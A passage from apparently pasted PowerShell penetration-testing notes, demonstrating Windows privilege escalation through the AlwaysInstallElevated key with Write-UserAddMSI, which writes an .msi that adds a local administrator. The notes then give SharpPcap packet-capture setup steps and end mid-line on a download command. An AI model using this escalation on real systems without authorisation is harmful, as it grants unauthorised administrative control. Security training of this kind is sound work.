  1197. Finally, let’s check out that AlwaysInstallElevated key. This is a key sometimes set by enterprises in an attempt to simply the deployment of installer packages without granting users administrative rights. However, setting this key actually is the exact same as giving users those rights, as writing out a custom .msi installer and running it will give the user elevated privileges:
  1198.  
  1199. PS C:\> Write-UserAddMSI
  1200. Service binary written out to ‘UserAdd.msi’
  1201. True
  1202. When we run this .msi, it gives us a gui to add a local admin:
  1203.  
  1204. UserADD.msi
  1205.  
  1206.  
  1207. #######################################
  1208. #Cannot be reproduce everything below #
  1209. #######################################
  1210.  
  1211. http://ezine.echo.or.id/issue28/005.txt
  1212. http://trwagner1.wordpress.com/2012/01/03/powershell-and-wireshark/
  1213. https://www.fishnetsecurity.com/6labs/blog/cryptolocker-prevention-and-remediation-techniques
  1214.  
  1215. #############
  1216. # SharpPcap #
  1217. #############
  1218.  
  1219. Reference:
  1220. http://poshcode.org/5374
  1221.  
  1222. SharpPcap is a cross-platform packet capture framework for the .NET environment, based on the famous pcap / WinPcap libraries. It provides an API for capturing, injecting, analyzing and building packets using any .NET language such as C# and VB.NET.
  1223.  
  1224. # First, you have to install WinPcap
  1225. # http://www.winpcap.org/install/default.htm
  1226.  
  1227. # Then, you have to download SharpPcap
  1228. # http://sourceforge.net/projects/sharppcap/
  1229.  
  1230. # And you need to import the assembly from wherever you put it
  1231. Add-Type -Path C:\ps\SharpPcap-4.2.0.bin\SharpPcap-4.2.0\Release\SharpPcap.dll
  1232.  
  1233. http://poshcode.org/get/5374
  1234.  
  1235. (new-object System.Net.WebClient).DownloadFile("http://poshcode.or
Add Comment
Please, Sign In to add comment